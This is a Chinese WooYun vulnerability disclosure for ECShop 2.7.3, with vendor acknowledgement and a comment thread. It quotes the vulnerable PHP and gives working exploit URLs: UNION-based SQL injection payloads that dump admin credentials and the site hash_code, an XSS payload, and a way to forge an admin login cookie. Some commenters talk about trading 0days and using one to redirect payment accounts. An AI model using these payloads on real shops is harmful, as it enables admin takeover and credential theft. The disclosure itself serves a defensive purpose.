当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(58) 关注此漏洞

缺陷编号: WooYun-2013-23188

漏洞标题: ecshop最新版本SQL注入+存储XSS=任意管理员登录

相关厂商: ShopEx

漏洞作者: blue认证白帽子

提交时间: 2013-05-06 20:42

公开时间: 2013-08-04 20:42

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: sql注射漏洞利用技巧 存储XSS

8人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-05-06: 细节已通知厂商并且等待厂商处理中
2013-05-06: 厂商已经确认,细节仅向厂商公开
2013-05-09: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2013-06-30: 细节向核心白帽子及相关领域专家公开
2013-07-10: 细节向普通白帽子公开
2013-07-20: 细节向实习白帽子公开
2013-08-04: 细节向公众公开

简要描述:

一个功能点的SQL注入和存储XSS,内含多种技巧,我觉得我就是个艺术家~~

详细说明:

刚下的ecshop V2.7.3版本~

1.漏洞存在于站外广告统计功能(对应管理后台的报表统计->站外投放JS),即/affiche.php页面,将from参数(网站来源referer)存储到了数据库表ecs_adsense,而在后台的“站外投放JS”读取出来未过滤又进入了sql语句,导致二次注入。

code 区域
/affiche.php 119行
$sql = "INSERT INTO " . $ecs->table('adsense') . "(from_ad, referer, clicks) VALUES ('-1', '" . $site_name . "', '1')"; //$site_name即$_GET['from']存库了



code 区域
/admin/adsense.php 47-49行
/* 获取当前广告所产生的订单总数 */
$sql2 = 'SELECT COUNT(order_id) FROM ' .$ecs->table('order_info'). " WHERE from_ad='$rows[ad_id]' AND referer='$rows[referer]'"; //看到了吧,未再次addslashes导致注入
$rows['order_num'] = $db->getOne($sql2);



2.同时,输出时未对字段referer过滤,导致存储XSS。

3.存储XSS得到cookie本来就可以登录后台了,但我咋能这么简单?SQL注入两条得到ecs_shop_config里的hash_code和管理员的username+password,自己生成COOKIE岂不更爽?

code 区域
/admin/privilege.php 136-141行
if (isset($_POST['remember']))
{
$time = gmtime() + 3600 * 24 * 365;
setcookie('ECSCP[admin_id]', $row['user_id'], $time);
setcookie('ECSCP[admin_pass]', md5($row['password'] . $_CFG['hash_code']), $time);
}

漏洞证明:

code 区域
http://localhost/test/ecshop/affiche.php?from=**.**.**.**'%20and%201=2%20union%20select%20group_concat(user_id,'|',user_name,'|',password)%20from%20ecs_admin_user%20order%20by%201%20desc%23&ad_id=-1  //注入得管理员信息
http://localhost/test/ecshop/affiche.php?from=**.**.**.**'%20and%201=2%20union%20select%20%20value%20FROM%20`ecs_shop_config`%20WHERE%20code%20=%20'hash_code'%20order%20by%201%20desc%23&ad_id=-1 //注入得hash_code
http://localhost/test/ecshop/affiche.php?from=**.**.**.**%3Cscript%3Ealert(1)%3C/script%3E&ad_id=-1 //XSS,当然,我使用了xsser.me获取页面上的信息





1.png



2.png



3.png



4.png

修复方案:

addslashes, 输出时过滤

版权声明:转载请注明来源 blue@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2013-05-06 21:37

厂商回复:

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-05-06 20:52 | Nicky ( 普通白帽子 | Rank:493 漏洞数:71 | http://www.droidsec.cn 安卓安全中文站)
    0

    前排

  2. 2013-05-06 21:02 | 风萧萧 认证白帽子 ( 普通白帽子 | Rank:1068 漏洞数:80 | 人这一辈子总要动真格的爱上什么人)
    0

    艺术家你好

  3. 2013-05-06 21:12 | 孤独雪狼 认证白帽子 ( 普通白帽子 | Rank:740 漏洞数:156 | 七夕手机被偷,这坑爹的七夕啊 。。。。)
    0

    艺术家你好 ps:知道创宇前几天不是爆了漏洞了么

  4. 2013-05-06 21:24 | zeracker 认证白帽子 ( 普通白帽子 | Rank:1077 漏洞数:139 | 爱吃小龙虾。)
    0

    我看到了美元。

  5. 2013-05-06 21:59 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    0

    确认了确认了!

  6. 2013-05-06 22:02 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    不科学啊

  7. 2013-05-06 23:14 | se55i0n ( 核心白帽子 | Rank:1571 漏洞数:174 )
    0

    @xsser 1w毛爷爷到手了?

  8. 2013-05-06 23:21 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    @se55i0n 等核心确认吧

  9. 2013-05-06 23:26 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)
    0

    前排膜拜艺术家!

  10. 2013-05-06 23:26 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)
    0

    @孤独雪狼 求站长透露信息

  11. 2013-05-07 08:35 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)
    0

    1w?

  12. 2013-05-10 13:48 | 小痞子 ( 普通白帽子 | Rank:106 漏洞数:21 | <xss>alert("a")</xss>¥&@&……dssKhwjcw...)
    0

    携全家老小跪求!

  13. 2013-05-12 16:21 | cmdshell ( 实习白帽子 | Rank:40 漏洞数:9 )
    0

    @孤独雪狼 求连接地址?

  14. 2013-05-16 15:38 | by:安全者 ( 路人 | Rank:22 漏洞数:7 | xxs,sql注入)
    0

    @小痞子 俺来找你了

  15. 2013-05-16 15:39 | by:安全者 ( 路人 | Rank:22 漏洞数:7 | xxs,sql注入)
    0

    大牛们求互换oday 我有个市场价2W的oday

  16. 2013-05-16 16:32 | blue 认证白帽子 ( 普通白帽子 | Rank:779 漏洞数:70 | 我心中有猛虎,细嗅蔷薇。)
    0

    @by:安全者 啥oday?

  17. 2013-05-16 18:07 | by:安全者 ( 路人 | Rank:22 漏洞数:7 | xxs,sql注入)
    0

    idc 域名商 只是修改支付宝账号 银行账号 一天几十万 不是问题

  18. 2013-05-19 13:36 | 小痞子 ( 普通白帽子 | Rank:106 漏洞数:21 | <xss>alert("a")</xss>¥&@&……dssKhwjcw...)
    0

    @by:安全者 这么牛 找人洗吧 包你发财

  19. 2013-05-27 14:37 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)
    0

    这个多少米?据说数字哥给1W注入啊

  20. 2013-05-27 14:39 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    @wefgod 数字哥不懂 哈哈

  21. 2013-05-27 14:46 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)
    0

    @xsser 擦,如果乌云是他两倍,那干脆只搞这个算了,一年挖10多个都过的很潇洒了……

  22. 2013-05-27 17:17 | 齐迹 ( 普通白帽子 | Rank:804 漏洞数:104 | 重庆地区招聘安全工程师。sec.zbj.com欢迎...)
    0

    @wefgod 你以为数字哥的钱很好拿啊?端个板凳看把!

  23. 2013-05-27 17:45 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)
    0

    @齐迹 反正我只是路过的……数字哥只给我了很少很少一点……吃个快餐的

  24. 2013-09-10 16:26 | 孤独男孩 ( 实习白帽子 | Rank:44 漏洞数:15 | 专注网络信息安全,漏洞发掘,代码审核,云...)
    0

    学习学习先。不错不错

  25. 2014-02-23 18:03 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | ☯☯☯☯☯☯☯☯☯☯)
    0

    @xsser 前台弄过感谢按钮如何?看了好洞忍不住想点~

登录后才能发表评论,请先 登录